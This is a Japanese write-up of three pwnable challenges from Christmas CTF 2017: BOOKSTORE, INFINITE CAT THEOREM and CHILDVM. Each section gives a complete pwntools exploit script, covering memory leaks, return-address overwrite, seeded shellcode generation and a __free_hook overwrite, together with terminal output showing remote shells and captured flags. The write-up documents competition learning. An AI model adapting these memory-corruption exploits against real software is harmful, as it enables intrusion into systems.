Christmas CTF 2017 writeup
はじめに
クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。
[PWNABLE] BOOKSTORE
C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。
適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environ
の値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "207.148.67.213" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./bookstore') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bookstore'], execute) else: conn = process(['./bookstore']) # conn = process(['./bookstore'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_book(name, desc, price, pub): conn.sendlineafter('5. Exit', '1') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) conn.sendlineafter('Price : ', str(price)) time.sleep(0.1) conn.sendline(pub) time.sleep(0.1) def create_pub(name, desc): conn.sendlineafter('5. Exit', '2') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) def view_books(): conn.sendlineafter('5. Exit', '3') time.sleep(0.1) def list_pubs(): conn.sendlineafter('5. Exit', '4') time.sleep(0.1) def sell_book(name, num): conn.sendlineafter('5. Exit', '5') time.sleep(0.1) conn.sendlineafter('Book Name : ', name) time.sleep(0.1) conn.sendlineafter('Num : ', str(num)) time.sleep(0.1) def write_word(addr, value): payload = 'a'*0x40 + p64(0x0) + p64(addr) create_pub(str(value), payload) add_book(str(value), 'zzzz', 0x1, '') sell_book(str(value), value) log.info('Pwning') fake_addr = 0x6063c0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('xxxx', 'yyyy', 1, '') sell_book('xxxx', 0x000000000605fe8) # stdout payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10) create_pub('fuga', payload) add_book('wwww', 'zzzz', 1, '') sell_book('wwww', 0x6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('piyo', payload) add_book('oooo', 'pppp', 1, '') view_books() for i in range(3): conn.recvuntil('Publisher : ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740 log.info('libc_base = 0x%x', libc_base) one_gadget = libc_base + 0xf1117 environ = libc_base + 0x3c6f38 fake_addr = 0x6063e0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('1', 'yyyy', 1, '') sell_book('1', environ&0xffffffff) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4) create_pub('hoge', payload) add_book('2', 'yyyy', 1, '') sell_book('2', environ>>32) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8) create_pub('hoge', payload) add_book('3', 'yyyy', 1, '') sell_book('3', 6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('4', payload) add_book('4', 'pppp', 1, '') view_books() for i in range(7): conn.recvuntil('Publisher : ') stack_base = u64(conn.recv(6) + '\x00\x00') log.info('stack_base = 0x%x', stack_base) # libc_start_main+240 -> one_gadget_rce write_word(stack_base-0xf0, 0xd08e7) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py r [*] '/root/ctf/XmasCTF/bookstore/bookstore' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 207.148.67.213 on port 1337: Done [*] Pwning [*] libc_base = 0x7fba5dc79000 [*] stack_base = 0x7ffd89fb90d8 [*] Switching to interactive mode 1. Add Book 2. Create Publisher 3. View All Book 4. List Publisher 5. Sell Book 5. Exit $ 6 $ id uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore) $ cat /home/bookstore/flag XMAS{ca11_m3_010-5328-7405}
[PWNABLE] INFINITE CAT THEOREM
ランダムに生成されたバイト列が実行されるが、srand()
に渡るseed
はstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseed
によるsrand()
を実行させることができる。これを用いてexecve('/bin/sh')
を実行するシェルコードを生成した。
get_seed()
はour godが書いてくれた。感謝。
#!/usr/bin/env python from pwn import * from ctypes import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log libc = cdll.LoadLibrary("libc.so.6") RHOST = "45.32.113.43" RPORT = 12025 LHOST = "127.0.0.1" LPORT = 12025 # libc = ELF('') elf = ELF('./infinite_cat') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400B0A c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./infinite_cat'], gdbscript=execute) else: conn = process(['./infinite_cat']) # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''}) # preparing for exploitation def get_seed(n): if isinstance(n, basestring): n = ord(n) for i in xrange(0,65536): libc.srand(c_int(i)) if libc.rand() % 256 == n: return i return None def make_byte(seed): conn.sendlineafter('length: ', '1') time.sleep(0.01) payload = 'x'* 0xc + p64(seed) + p64(0) * 3 + p64(main_addr) conn.sendafter('your cat makes seed dynamic, any comment?', payload) time.sleep(0.01) log.info('Pwning') main_addr = elf.symbols['main'] shellcode = asm(shellcraft.sh()) for c in shellcode: make_byte(get_seed(c)) time.sleep(1) conn.sendlineafter('length: ', '1') conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge') conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r [*] '/root/ctf/XmasCTF/infine_cat/infinite_cat' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 45.32.113.43 on port 12025: Done [*] Pwning [*] Switching to interactive mode length: $ 1 your cat makes seed dynamic, any comment? $ hoge Now printing... $ ███╗ ██╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ████╗ ██║ ╚██╗ ██╔╝ ██╔══██╗ ████╗ ██║ ██╔════╝ ██╔██╗ ██║ ╚████╔╝ ███████║ ██╔██╗ ██║ ██║ ███╗ ██║╚██╗██║ ╚██╔╝ ██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ╚████║ ██║ ██║ ██║ ██║ ╚████║ ╚██████╔╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ $ id uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem) $ cat flag XMAS{your_cat_will_write_works_of_Shakespeare}
[PWNABLE] CHILDVM
独自VM。
free()
後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hook
へsystem()
を書き込んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') RHOST = "45.32.113.43" RPORT = 31338 LHOST = "127.0.0.1" LPORT = 31338 # libc = ELF('./libc.so.6_32') elf = ELF('./childvm') offset = 0x1b27b0 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childvm'], gdbscript=execute) else: conn = process(['./childvm']) # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'}) # preparing for exploitation log.info('Pwning') def movi(op1, op2): return chr(16) + p32(op1) + p32(op2) def malloc(op1, op2): return chr(32) + p32(op1) + p32(op2) def free(op1, op2): return chr(48) + p32(op1) + p32(op2) def movxy(op1, op2): return chr(64) + p32(op1) + p32(op2) def sub(op1, op2): return chr(80) + p32(op1) + p32(op2) def read(op1, op2): return chr(112) + p32(op1) + p32(op2) def movm(op1, op2): return chr(128) + p32(op1) + p32(op2) def puts(op1, op2): return chr(144) + p32(op1) + p32(op2) payload = '' payload += malloc(0x80, 0xdeadbeef) payload += movm(0, 3) payload += malloc(0x80, 0xdeadbeef) payload += free(0,0) payload += puts(0,0) conn.send(payload) time.sleep(0.1) conn.recvuntil('\xb0') conn.recv(3) libc_base = u32(conn.recv(4)) - offset log.info('libc_base = 0x%x', libc_base) payalod = '' payload += movm(0, 3) payload += movi(1, 0x9) payload += read(0, 0) payload += '/bin/sh\x00\x00' payload += movi(2, libc_base + 0x1b38b0) payload += movm(0, 2) payload += read(0, 0) payload += p32(libc_base + 0x3ada0)*2 + 'a' payload += movm(0, 3) payload += free(0, 0) conn.send(payload) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r [*] '/root/ctf/XmasCTF/childvm/childvm/childvm' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 45.32.113.43 on port 31338: Done [*] Pwning [*] libc_base = 0xf75b1000 [*] Switching to interactive mode \xb07v�7v� $ id uid=1001(childvm) gid=1001(childvm) groups=1001(childvm) $ cat flag XMAS{i'm_not_solo_TT}
おわりに
メリークリスマス!!!!!